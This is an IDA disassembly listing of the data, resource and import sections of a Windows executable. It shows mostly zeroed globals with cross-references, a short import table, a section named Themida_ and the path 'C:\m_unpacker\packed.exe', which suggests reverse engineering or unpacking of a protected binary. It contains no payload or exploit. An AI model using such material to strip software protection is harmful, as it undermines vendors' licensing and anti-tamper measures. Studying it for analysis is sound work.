dword_4CAFBC	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+51B6r ...
dword_4CAFC0	dd 0			; DATA XREF: sub_409B12+C1Bw
					; sub_409B12+C47r
dword_4CAFC4	dd 0			; DATA XREF: sub_409B12+3Ew
					; sub_409B12+BAr ...
dword_4CAFC8	dd 0			; DATA XREF: sub_401000+45r
					; sub_409B12+298w ...
dword_4CAFCC	dd 0			; DATA XREF: sub_409B12+651w
					; sub_409B12+78Cr ...
dword_4CAFD0	dd 0			; DATA XREF: sub_409B12+637w
					; sub_409B12+77Cr ...
dword_4CAFD4	dd 0			; DATA XREF: sub_401ACD+73B9r
					; sub_409B12+C92w
dword_4CAFD8	dd 0			; DATA XREF: sub_409B12+879w
					; ___:004168D5r ...
dword_4CAFDC	dd 0			; DATA XREF: sub_409B12+112w
dword_4CAFE0	dd 0			; DATA XREF: sub_409B12+BE7w
					; sub_409B12+C22r
dword_4CAFE4	dd 0			; DATA XREF: sub_401ACD+2FE4r
					; sub_401ACD+5F98r ...
dword_4CAFE8	dd 0			; DATA XREF: sub_409B12+459w
					; sub_409B12+4BBr ...
dword_4CAFEC	dd 0			; DATA XREF: sub_409B12+49Aw
					; sub_409B12+4E3r ...
dword_4CAFF0	dd 0			; DATA XREF: sub_409B12+466w
					; sub_409B12+4C3r ...
dword_4CAFF4	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+51D3r ...
dword_4CAFF8	dd 0			; DATA XREF: sub_409B12+1A6w
					; sub_409B12+1E2r ...
dword_4CAFFC	dd 0			; DATA XREF: sub_409B12+9F2w
					; sub_409B12+A53r ...
dword_4CB000	dd 0			; DATA XREF: sub_409B12+158w
					; sub_409B12+1ADr ...
dword_4CB004	dd 0			; DATA XREF: sub_409B12+8Cw
					; sub_409B12+E2r ...
dword_4CB008	dd 0			; DATA XREF: sub_409B12+610w
					; sub_409B12+764r ...
dword_4CB00C	dd 0			; DATA XREF: sub_409B12+B43w
					; sub_409B12+B5Fr
dword_4CB010	dd 0			; DATA XREF: sub_409B12+33Aw
					; sub_419651+55r
dword_4CB014	dd 0			; DATA XREF: sub_409B12+27Ew
					; sub_409B12+2D3r ...
dword_4CB018	dd 0			; DATA XREF: sub_409B12+BAAw
dword_4CB01C	dd 0			; DATA XREF: sub_409B12+AECw
					; sub_40AB31+CEr
dword_4CB020	dd 0			; DATA XREF: sub_409B12+ADFw
					; sub_409B12+AE6r ...
dword_4CB024	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5132r ...
dword_4CB028	dd 0			; DATA XREF: sub_401ACD+5124r
					; sub_401ACD+7980r ...
dword_4CB02C	dd 0			; DATA XREF: sub_409B12+BF4w
					; sub_409B12+C2Fr
dword_4CB030	dd 0			; DATA XREF: sub_401ACD+1E56r
					; sub_401ACD+5AEDr ...
dword_4CB034	dd 0			; DATA XREF: sub_409B12+9B1w
					; sub_409B12+A2Br ...
dword_4CB038	dd 0			; DATA XREF: sub_409B12+65Ew
					; sub_409B12+794r ...
dword_4CB03C	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CB040	dd 0			; DATA XREF: sub_409B12+59Bw
					; sub_409B12+70Cr ...
dword_4CB044	dd 0			; DATA XREF: sub_409B12+B36w
					; sub_409B12+B57r
dword_4CB048	dd 0			; DATA XREF: sub_409B12+540w
					; sub_409B12+6C4r ...
dword_4CB04C	dd 0			; DATA XREF: sub_409B12+B29w
					; sub_409B12+B4Ar
dword_4CB050	dd 0			; DATA XREF: ___:00401273r
					; sub_409B12+31w ...
dword_4CB054	dd 0			; DATA XREF: sub_409B12+17Fw
					; sub_409B12+1CAr ...
		dd 0
dword_4CB05C	dd 0			; DATA XREF: sub_409B12+927w
					; sub_409B12+93Br
dword_4CB060	dd 0			; DATA XREF: sub_409B12+99w
					; sub_409B12+EAr ...
dword_4CB064	dd 0			; DATA XREF: sub_409B12:loc_409C10w
					; sub_409B12+12Bw ...
dword_4CB068	dd 0			; DATA XREF: sub_409B12+126w
					; sub_40A7CE+1Cr
dword_4CB06C	dd 0			; DATA XREF: sub_409B12:loc_409D00w
					; sub_409B12:loc_409D67w ...
dword_4CB070	dd 0			; DATA XREF: sub_409B12+250w
					; sub_40A7CE+50r
dword_4CB074	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4567r ...
dword_4CB078	dd 0			; DATA XREF: sub_409B12+41Ew
					; sub_40A7CE+84r
dword_4CB07C	dd 0			; DATA XREF: sub_409B12:loc_40A016w
					; sub_40A7CE:loc_40A87Er
dword_4CB080	dd 0			; DATA XREF: sub_409B12+4FFw
					; sub_40A7CE+B8r
dword_4CB084	dd 0			; DATA XREF: sub_409B12:loc_40A2E7w
					; sub_40A7CE:loc_40A8B2r
dword_4CB088	dd 0			; DATA XREF: sub_409B12+7D0w
					; sub_40A7CE+ECr
dword_4CB08C	dd 0			; DATA XREF: sub_409B12:loc_40A3D2w
					; sub_409B12+8EFw ...
dword_4CB090	dd 0			; DATA XREF: sub_409B12+8EAw
					; sub_40A7CE+120r
dword_4CB094	dd 0			; DATA XREF: sub_401ACD:loc_406F17r
					; sub_409B12:loc_40A466w ...
dword_4CB098	dd 0			; DATA XREF: sub_409B12+94Fw
					; sub_40A7CE+154r
dword_4CB09C	dd 0			; DATA XREF: sub_401ACD+456Fr
					; sub_409B12:loc_40A582w ...
dword_4CB0A0	dd 0			; DATA XREF: sub_409B12+A6Bw
					; sub_40A7CE+188r
dword_4CB0A4	dd 0			; DATA XREF: sub_409B12:loc_40A5CCw
					; sub_40A7CE:loc_40A982r
dword_4CB0A8	dd 0			; DATA XREF: sub_409B12+AB5w
					; sub_40A7CE+1BCr
dword_4CB0AC	dd 0			; DATA XREF: sub_409B12:loc_40A616w
					; sub_40A7CE:loc_40A9B6r
dword_4CB0B0	dd 0			; DATA XREF: sub_409B12+AFFw
					; sub_40A7CE+1F0r
dword_4CB0B4	dd 0			; DATA XREF: sub_409B12:loc_40A68Aw
					; sub_40A7CE:loc_40A9EAr
dword_4CB0B8	dd 0			; DATA XREF: sub_409B12+B73w
					; sub_40A7CE+224r
dword_4CB0BC	dd 0			; DATA XREF: sub_409B12:loc_40A6D4w
					; sub_40A7CE:loc_40AA1Er
dword_4CB0C0	dd 0			; DATA XREF: sub_409B12+BBDw
					; sub_40A7CE+258r
dword_4CB0C4	dd 0			; DATA XREF: sub_409B12:loc_40A772w
					; sub_40A7CE:loc_40AA52r
dword_4CB0C8	dd 0			; DATA XREF: sub_409B12+C5Bw
					; sub_40A7CE+28Cr
dword_4CB0CC	dd 0			; DATA XREF: sub_409B12:loc_40A7BCw
					; sub_40A7CE:loc_40AA86r
dword_4CB0D0	dd 0			; DATA XREF: sub_409B12+CA5w
					; sub_40A7CE+2C0r
dword_4CB0D4	dd 7 dup(0)		; DATA XREF: sub_40AC0F+32o
dword_4CB0F0	dd 0			; DATA XREF: sub_40BA56+18r
					; sub_40BFEB+92w ...
dword_4CB0F4	dd 0			; DATA XREF: sub_40C124+4Dr
					; sub_40C124+2F1w ...
		dd 7FEh	dup(0)
dword_4CD0F0	dd 6 dup(0)		; DATA XREF: sub_40C124+D2o
					; sub_40C124+13Bo ...
dword_4CD108	dd 0			; DATA XREF: sub_40BACD+2C4w
					; sub_40BACD+348o
dword_4CD10C	dd 0			; DATA XREF: sub_40BACD+33Ew
					; sub_40BACD+35Ar
dword_4CD110	dd 0			; DATA XREF: sub_40BACD+2CFw
dword_4CD114	dd 0			; DATA XREF: sub_40BACD+2B9w
					; sub_40BACD:loc_40BDE2r
dword_4CD118	dd 20h dup(0)		; DATA XREF: sub_40BACD+2E2o
					; sub_40BACD+302o
dword_4CD198	dd 0			; DATA XREF: sub_40BACD+2D5w
dword_4CD19C	dd 0			; DATA XREF: sub_40BACD+2EFw
					; sub_40BACD+30Fw
dword_4CD1A0	dd 0			; DATA XREF: sub_40BACD:loc_40BE3Dr
		align 8
dword_4CD1A8	dd 0			; DATA XREF: sub_40BACD+82w
					; sub_40BACD+101o
dword_4CD1AC	dd 41h dup(0)		; DATA XREF: sub_40BACD+41o
dword_4CD2B0	dd 41h dup(0)		; DATA XREF: sub_40BACD+69o
dword_4CD3B4	dd 0			; DATA XREF: sub_40BACD+F7w
					; sub_40BACD+113r
dword_4CD3B8	dd 0			; DATA XREF: sub_40BACD+52w
dword_4CD3BC	dd 0			; DATA XREF: sub_40BACD+4Dw
					; sub_40BACD+D4r
dword_4CD3C0	dd 20h dup(0)		; DATA XREF: sub_40BACD+9Ao
					; sub_40BACD+BAo
dword_4CD440	dd 0			; DATA XREF: sub_40BACD+8Fw
dword_4CD444	dd 0			; DATA XREF: sub_40BACD+A7w
					; sub_40BACD+C7w
dword_4CD448	dd 0			; DATA XREF: sub_40BACD:loc_40BBF6r
		align 10h
dword_4CD450	dd 0			; DATA XREF: sub_40BACD+1A5w
					; sub_40BACD+225o
dword_4CD454	dd 41h dup(0)		; DATA XREF: sub_40BACD+167o
dword_4CD558	dd 41h dup(0)		; DATA XREF: sub_40BACD+18Co
dword_4CD65C	dd 0			; DATA XREF: sub_40BACD+21Bw
					; sub_40BACD+237r
dword_4CD660	dd 0			; DATA XREF: sub_40BACD+17Aw
dword_4CD664	dd 0			; DATA XREF: sub_40BACD+175w
					; sub_40BACD+1F8r
dword_4CD668	dd 20h dup(0)		; DATA XREF: sub_40BACD+1BEo
					; sub_40BACD+1DEo
dword_4CD6E8	dd 0			; DATA XREF: sub_40BACD+1B1w
dword_4CD6EC	dd 0			; DATA XREF: sub_40BACD+1CBw
					; sub_40BACD+1EBw
dword_4CD6F0	dd 0			; DATA XREF: sub_40BACD:loc_40BD1Ar
		align 8
dword_4CD6F8	dd 0			; DATA XREF: sub_40BACD+417w
					; sub_40BACD+470o
dword_4CD6FC	dd 0A2h	dup(0)		; DATA XREF: sub_40BACD+405o
dword_4CD984	dd 41h dup(0)		; DATA XREF: sub_40BACD+3CFo
dword_4CDA88	dd 0			; DATA XREF: sub_40BACD+3FCw
					; sub_40BACD+423r
		align 10h
dword_4CDA90	dd 0			; DATA XREF: sub_40BACD+466w
					; sub_40BACD+482r
dword_4CDA94	dd 0			; DATA XREF: sub_40BACD+429w
dword_4CDA98	dd 0			; DATA XREF: sub_40BACD+436w
dword_4CDA9C	dd 0			; DATA XREF: sub_40BACD+3F6w
		dd 0
dword_4CDAA4	dd 0			; DATA XREF: sub_40BACD:loc_40BF65r
		dd 0
dword_4CDAAC	dd 0			; DATA XREF: sub_40B719+Er
					; sub_40B719+32r
dword_4CDAB0	dd 0			; DATA XREF: sub_40B719+9r
					; sub_40B719+26r
dword_4CDAB4	dd 82h dup(0)		; DATA XREF: sub_40C59B+8Do
dword_4CDCBC	dd 2 dup(0)		; DATA XREF: sub_40CF04+68o
dword_4CDCC4	dd 0			; DATA XREF: sub_40D89F+8w
					; ___:0040DC6Eo
		dd 0
dword_4CDCCC	dd 2 dup(0)		; DATA XREF: ___:0040DBA4o
dword_4CDCD4	dd 0			; DATA XREF: ___:0040E4D7r
		dd 0
		dd 0
dword_4CDCE0	dd 0			; DATA XREF: ___:0040E4AAr
dword_4CDCE4	dd 0			; DATA XREF: ___:0040E48Cr
					; ___:0040E4F5r
		dd 0
dword_4CDCEC	dd 0			; DATA XREF: sub_40BACD+2AEr
					; ___:0040E6E8w
		dd 0
dword_4CDCF4	dd 0			; DATA XREF: sub_40B785+1Cr
dword_4CDCF8	dd 0			; DATA XREF: ___:0040EFE8w
					; ___:0040F00Fr ...
		dd 3 dup(0)
dword_4CDD08	dd 0			; DATA XREF: ___:00410905r
		align 10h
dword_4CDD10	dd 0			; DATA XREF: sub_412351+4w
					; sub_412351+9o
		dd 109h	dup(0)
dword_4CE138	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F6Eo
					; sub_401ACD:loc_404AC4o
dword_4CE758	dd 0			; DATA XREF: sub_401ACD+1A23w
					; sub_401ACD+2F66r ...
		dd 11Ch	dup(0)
dword_4CEBCC	dd 1000h dup(0)		; DATA XREF: sub_4151AC+1Do
					; sub_41524Co ...
dword_4D2BCC	dd 0			; DATA XREF: sub_4151AC+13o
					; sub_41524C+Eo ...
dword_4D2BD0	dd 0			; DATA XREF: sub_4155F7+Fr
					; sub_4157F0+12r
		align 8
dword_4D2BD8	dd 0Eh dup(0)		; DATA XREF: sub_416922+Fo
dword_4D2C10	dd 80h dup(0)		; DATA XREF: sub_4175E9+41o
dword_4D2E10	dd 200h	dup(0)		; DATA XREF: sub_416F1A+C7o
					; sub_417275+DDo ...
dword_4D3610	dd 200h	dup(0)		; DATA XREF: sub_416F1A+D6o
					; sub_417275+F4o ...
dword_4D3E10	dd 0			; DATA XREF: sub_416F1A+86w
					; sub_4170EC+94r
dword_4D3E14	dd 0			; DATA XREF: sub_416F1A+A7w
					; sub_417552+55r ...
dword_4D3E18	dd 0			; DATA XREF: sub_416F1A+A0w
					; sub_4170EC+D6r ...
dword_4D3E1C	dd 0			; DATA XREF: sub_416F1A+79w
					; sub_4170EC+35r ...
dword_4D3E20	dd 80h dup(0)		; DATA XREF: sub_417552+5Eo
dword_4D4020	dd 0			; DATA XREF: sub_416F1A+93w
					; sub_4170EC+A2r
		align 8
dword_4D4028	dd 0			; DATA XREF: sub_416F1A+E7o
					; sub_416F1A+103r ...
dword_4D402C	dd 0			; DATA XREF: sub_417275+17Bw
					; sub_41741C+107w
dword_4D4030	dd 0			; DATA XREF: sub_417275+180w
					; sub_41741C+10Dw ...
dword_4D4034	dd 0			; DATA XREF: sub_417275+159w
					; sub_417552+4Fr
dword_4D4038	dd 0			; DATA XREF: sub_4178BA+22w
					; sub_4178BA:loc_417A3Fw ...
dword_4D403C	dd 0			; DATA XREF: sub_401ACD+3CC3o
					; sub_417788+12o ...
		dd 0
dword_4D4044	dd 0			; DATA XREF: sub_4178BA+1Cr
					; sub_417A5F+3Ar
		dd 42h dup(0)
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_437860o
		dd 3Ch dup(0)
dword_4D4244	dd 0			; DATA XREF: sub_4178BA+28r
					; sub_417A5F+4Aw
		dd 1944h dup(0)
dword_4DA758	dd 0			; DATA XREF: sub_417A5F+23o
dword_4DA75C	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CE1o
					; sub_417788+3Co ...
dword_4DA960	dd 17h dup(0)		; DATA XREF: sub_4187DD:loc_4188FAo
					; sub_4187DD+131o ...
dword_4DA9BC	dd 80h dup(0)		; DATA XREF: sub_419593+7Co
					; sub_419593+A5o
dword_4DABBC	dd 0			; DATA XREF: sub_418B58+45w
					; sub_418B58+4Dr ...
dword_4DABC0	dd 17h dup(0)		; DATA XREF: sub_41945F:loc_419581o
					; sub_41945F+12Do
dword_4DAC1C	dd 80h dup(0)		; DATA XREF: sub_418A98+4Co
					; sub_418A98+7Eo ...
byte_4DAE1C	db 0			; DATA XREF: sub_418B58+29r
					; sub_418B58+34w
		align 10h
dword_4DAE20	dd 80h dup(0)		; DATA XREF: sub_418DAF+61o
					; sub_418DAF+89o ...
dword_4DB020	dd 81h dup(0)		; DATA XREF: sub_4186C1:loc_4186F9o
					; sub_4186C1+5Bo
dword_4DB224	dd 0			; DATA XREF: sub_419A20:loc_419A41r
					; sub_419B0F+54r ...
dword_4DB228	dd 0			; DATA XREF: sub_419A20r
					; sub_419B0F+37r ...
dword_4DB22C	dd 0			; DATA XREF: sub_419A50+1Ar
					; sub_419C64+83o
dword_4DB230	dd 0			; DATA XREF: sub_419A20:loc_419A34r
					; sub_419C64+11Bw
dword_4DB234	dd 0Dh dup(0)		; DATA XREF: sub_419B0F+13o
					; sub_419C64:loc_419DA1o
dword_4DB268	dd 0			; DATA XREF: sub_419B0F+CDr
					; sub_419B0F+ECr ...
		align 10h
dword_4DB270	dd 0Eh dup(0)		; DATA XREF: sub_41A88B+47o
dword_4DB2A8	dd 0			; DATA XREF: sub_41BBBD+1B9w
					; ___:loc_41D268w ...
dword_4DB2AC	dd 0			; DATA XREF: sub_41D3BE+35w
					; sub_41DA72:loc_41DB0Cw ...
dword_4DB2B0	dd 0			; DATA XREF: sub_423A33+13Ar
		dd 0A28h, 501h,	5, 1
dword_4DB2C4	dd 1			; DATA XREF: ___:loc_401516r
					; ___:00423014w
dword_4DB2C8	dd 2440B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		align 10h
dword_4DB2D0	dd 2440B58h		; DATA XREF: ___:00422F0Ew
					; sub_425AC7+9r ...
dword_4DB2D4	dd 0			; DATA XREF: sub_4261AB+36r
dword_4DB2D8	dd 0			; DATA XREF: sub_425AC7+16r
					; sub_425E95+4r ...
		align 10h
off_4DB2E0	dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w
					; "C:\\m_unpacker\\packed.exe"
		align 8
byte_4DB2E8	db 0			; DATA XREF: sub_41B7D3+2Dw
					; sub_4239DB+5r
		align 4
dword_4DB2EC	dd 0			; DATA XREF: sub_41B7D3+27w
dword_4DB2F0	dd 0			; DATA XREF: sub_41B7D3+4r
					; sub_41B7D3+8Bw
dword_4DB2F4	dd 0			; DATA XREF: sub_41C0F4+3Br
					; sub_41C0F4+91w
		dd 0
dword_4DB2FC	dd 0			; DATA XREF: sub_41C748+Aw
dword_4DB300	dd 0			; DATA XREF: sub_41D081+5Er
					; sub_41D081+A4w
		align 8
word_4DB308	dw 0			; DATA XREF: sub_41D081+55r
					; sub_41D081+9Ao
word_4DB30A	dw 0			; DATA XREF: sub_41D081+48r
		db 2 dup(0)
word_4DB30E	dw 0			; DATA XREF: sub_41D081+3Br
word_4DB310	dw 0			; DATA XREF: sub_41D081+2Er
word_4DB312	dw 0			; DATA XREF: sub_41D081+21r
		align 8
dword_4DB318	dd 0			; DATA XREF: ___:loc_422EDCr
					; ___:loc_422F1Er ...
		align 10h
dword_4DB320	dd 0			; DATA XREF: sub_41DA29r ___:0041DA50o ...
dword_4DB324	dd 0			; DATA XREF: sub_41EB10+4Bw
					; sub_41EC29+2Dw ...
dword_4DB328	dd 0			; DATA XREF: sub_41F312r
dword_4DB32C	dd 0			; DATA XREF: sub_41B202:loc_41B31Er
					; sub_41B202:loc_41B43Fr ...
dword_4DB330	dd 1			; DATA XREF: sub_41FEA9:loc_420024r
					; sub_420042+4w ...
dword_4DB334	dd 0			; DATA XREF: sub_420446+37r
		dd 0
dword_4DB33C	dd 0			; DATA XREF: sub_4219D9+11r
					; sub_421ADD+1Ar ...
byte_4DB340	db 0			; DATA XREF: sub_4219D9+3r
					; sub_4219D9+98r ...
		align 4
dword_4DB344	dd 0			; DATA XREF: sub_421ADD+11r
					; sub_421BBB+21w ...
byte_4DB348	db 0			; DATA XREF: sub_421BBB+51w
		align 4
dword_4DB34C	dd 0			; DATA XREF: sub_421DB1+4Er
					; sub_42218C+3Ar ...
dword_4DB350	dd 0			; DATA XREF: sub_421DB1+5Cr
					; sub_42218C+43r ...
dword_4DB354	dd 0			; DATA XREF: sub_41C9CE+7Ar
					; sub_421F58+5r
dword_4DB358	dd 0			; DATA XREF: sub_42255C+29r
dword_4DB35C	dd 2 dup(0)		; DATA XREF: sub_41D160+Co
dword_4DB364	dd 0			; DATA XREF: sub_41D5AA+4r
					; sub_41D5AA+6Er ...
		dd 3 dup(0)
dword_4DB374	dd 0			; DATA XREF: sub_41D834+61r
					; sub_41D834+BFr ...
		dd 0
dword_4DB37C	dd 1			; DATA XREF: sub_422ACA+28r
					; sub_422ACA+4Cw ...
dword_4DB380	dd 0			; DATA XREF: ___:00422D28r
					; ___:00422D34w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao
					; ___:off_4DB2E0o
		align 10h
		dd 3Ah dup(0)
dword_4DB488	dd 1			; DATA XREF: ___:004231D2r
					; ___:004231F3w ...
dword_4DB48C	dd 0			; DATA XREF: sub_423590+21r
dword_4DB490	dd 0			; DATA XREF: sub_41F32D+154w
					; sub_420446:loc_42046Fw ...
dword_4DB494	dd 0			; DATA XREF: sub_41F32D+7r
dword_4DB498	dd 1			; DATA XREF: sub_423CEC+26r
					; sub_423CEC:loc_423D56w
		align 10h
word_4DB4A0	dw 0			; DATA XREF: sub_4245E9+1Ao
					; sub_4245E9+46r
byte_4DB4A2	db 0			; DATA XREF: sub_4245E9+39r
		align 4
dword_4DB4A4	dd 7 dup(0)		; DATA XREF: sub_4245E9+52o
dword_4DB4C0	dd 0			; DATA XREF: sub_4245E9+40w
					; sub_4245E9+5Co
dword_4DB4C4	dd 0			; DATA XREF: sub_4245E9+4Dw
dword_4DB4C8	dd 0			; DATA XREF: sub_4245E9+31w
dword_4DB4CC	dd 0			; DATA XREF: sub_4245E9+52w
dword_4DB4D0	dd 77C26E79h		; DATA XREF: sub_42470C:loc_42472Fr
					; sub_42470C+38r ...
		align 8
dword_4DB4D8	dd 0			; DATA XREF: sub_4247EC+11w
					; sub_4247EC+63w ...
		align 10h
dword_4DB4E0	dd 0			; DATA XREF: sub_4247EC+33o
					; sub_4247EC+46r
dword_4DB4E4	dd 10h dup(0)		; DATA XREF: sub_4247EC+C1o
word_4DB524	dw 0			; DATA XREF: sub_424A4A+A8r
word_4DB526	dw 0			; DATA XREF: sub_4247EC+54r
					; sub_424A4A+DBr ...
word_4DB528	dw 0			; DATA XREF: sub_424A4A+CAr
word_4DB52A	dw 0			; DATA XREF: sub_424A4A+D3r
					; sub_424A4A:loc_424B3Cr
word_4DB52C	dw 0			; DATA XREF: sub_424A4A+C0r
word_4DB52E	dw 0			; DATA XREF: sub_424A4A+B8r
word_4DB530	dw 0			; DATA XREF: sub_424A4A+B0r
word_4DB532	dw 0			; DATA XREF: sub_424A4A+9Er
dword_4DB534	dd 0			; DATA XREF: sub_4247EC+4Br
dword_4DB538	dd 10h dup(0)		; DATA XREF: sub_4247EC+FBo
word_4DB578	dw 0			; DATA XREF: sub_424A4A+46r
word_4DB57A	dw 0			; DATA XREF: sub_4247EC:loc_424863r
					; sub_424A4A+78r ...
word_4DB57C	dw 0			; DATA XREF: sub_424A4A+67r
word_4DB57E	dw 0			; DATA XREF: sub_424A4A+70r
					; sub_424A4A:loc_424ACEr
word_4DB580	dw 0			; DATA XREF: sub_424A4A+5Dr
word_4DB582	dw 0			; DATA XREF: sub_424A4A+55r
word_4DB584	dw 0			; DATA XREF: sub_424A4A+4Dr
word_4DB586	dw 0			; DATA XREF: sub_424A4A+3Er
dword_4DB588	dd 0			; DATA XREF: sub_4247EC+80r
dword_4DB58C	dd 0			; DATA XREF: sub_4247EC+132r
					; sub_4247EC:loc_424938r ...
dword_4DB590	dd 0			; DATA XREF: sub_4247D7r sub_4247D7+Ew
dword_4DB594	dd 0			; DATA XREF: sub_424D78+3r
					; sub_424D78+2Ew ...
dword_4DB598	dd 0			; DATA XREF: sub_424D78+43w
					; sub_424D78:loc_424DC7r
dword_4DB59C	dd 0			; DATA XREF: sub_424D78+4Aw
					; sub_424D78+60r
dword_4DB5A0	dd 0			; DATA XREF: sub_423A33+3Fr
dword_4DB5A4	dd 0			; DATA XREF: sub_425955:loc_4259BCr
					; sub_425955+6Do
dword_4DB5A8	dd 0			; DATA XREF: sub_425955:loc_425993r
					; sub_425955+44o
dword_4DB5AC	dd 0			; DATA XREF: sub_425955:loc_425986r
					; sub_425955+37o
dword_4DB5B0	dd 0			; DATA XREF: sub_425955:loc_4259A0r
					; sub_425955+51o
		align 8
dword_4DB5B8	dd 0			; DATA XREF: sub_425F03+28r
					; sub_425F03+48w ...
dword_4DB5BC	dd 0			; DATA XREF: sub_426988+28r
					; sub_426988+4Cw ...
dword_4DB5C0	dd 0			; DATA XREF: sub_426C13+26r
					; sub_426C13:loc_426C7Dw
byte_4DB5C4	db 0			; DATA XREF: sub_40D878r sub_40D878+9w
		align 4
dword_4DB5C8	dd 2441140h		; DATA XREF: sub_41DBF0:loc_41DC01r
					; sub_41F49D+14r ...
		dd 5 dup(0)
dword_4DB5E0	dd 400h	dup(0)		; DATA XREF: ___:off_43CA18o
					; ___:0043CA20o
dword_4DC5E0	dd 200h			; DATA XREF: sub_41DBF0+9r
					; sub_41DBF0+56r ...
		dd 7 dup(0)
dword_4DC600	dd 2440650h		; DATA XREF: sub_41F043+75r
					; sub_41F11C+2Ar ...
dword_4DC604	dd 3Fh dup(0)		; DATA XREF: ___:00423394o
dword_4DC700	dd 20h			; DATA XREF: sub_41DA72+8r
					; sub_41F11C+Cr ...
dword_4DC704	dd 4E4h			; DATA XREF: sub_41FEA9+14r
					; sub_41FEA9+65w ...
		align 10h
dword_4DC710	dd 3 dup(0)		; DATA XREF: sub_41FEA9+123o
					; sub_41FEA9+171o ...
dword_4DC71C	dd 0			; DATA XREF: sub_41FEA9+108w
					; sub_41FEA9+15Dw ...
byte_4DC720	db 0			; DATA XREF: sub_4200E8:loc_4201F4w
					; sub_4200E8:loc_420211w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DC820	db 0			; DATA XREF: sub_41FEA9+5Co
					; sub_41FEA9+AFo ...
byte_4DC821	db 0			; DATA XREF: sub_41B9D1+5Dr
					; sub_41FEA9+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DC924	dd 0			; DATA XREF: sub_41FEA9+6Ew
					; sub_41FEA9+12Bw ...
dword_4DC928	dd 0			; DATA XREF: sub_41E4D4+5r
					; sub_41E4D4+32w
dword_4DC92C	dd 0			; DATA XREF: sub_41DEA2+23Ar
					; sub_41DEA2+25Ar ...
dword_4DC930	dd 0			; DATA XREF: sub_41DEA2+311w
					; sub_41E1CB:loc_41E21Br ...
dword_4DC934	dd 0			; DATA XREF: sub_41DEA2+22Dr
					; sub_41DEA2+260r ...
dword_4DC938	dd 0			; DATA XREF: sub_41DE77r
					; sub_41DEA2+2CBr ...
dword_4DC93C	dd 0			; DATA XREF: sub_41DE77+8r
					; sub_41DEA2+2D0r ...
dword_4DC940	dd 0			; DATA XREF: sub_41B202+5Cr
					; sub_41B513+Fr ...
dword_4DC944	dd 2440000h		; DATA XREF: sub_41B0B1+5Ar
					; sub_41B202+C0r ...
dword_4DC948	dd 1			; DATA XREF: sub_41B0B1+Cr
					; sub_41B202:loc_41B232r ...
dword_4DC94C	dd 142340h		; DATA XREF: ___:00422E81r
					; ___:00422FACr
dword_4DC950	dd 1			; DATA XREF: ___:00422F77w sub_425AC7r
dword_4DC954	dd 1			; DATA XREF: sub_42026Dr
					; sub_42026D+11w ...
dword_4DC958	dd 2440758h		; DATA XREF: sub_41B7D3+3Er
					; sub_41CFD3+13r ...
dword_4DC95C	dd 2440758h		; DATA XREF: sub_41B7D3+35r
					; sub_41B7D3+57r ...
		dd 1A8h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DE000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DE000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DE000h
dword_4DE000	dd 400h	dup(0)		; DATA XREF: Themida_:00540B30o
_rsrc___	ends

; Section 3. (virtual address 000DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4DF000h
a7icwCw		db '7¨çwµ\çw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0DF050h, 0DF000h, 3 dup(0)
		dd 0DF079h, 0DF00Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000E0000)
; Virtual size			: 000E1000 ( 921600.)
; Section size in file		: 000E1000 ( 921600.)
; Offset to raw	data for section: 000E0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4E0000h
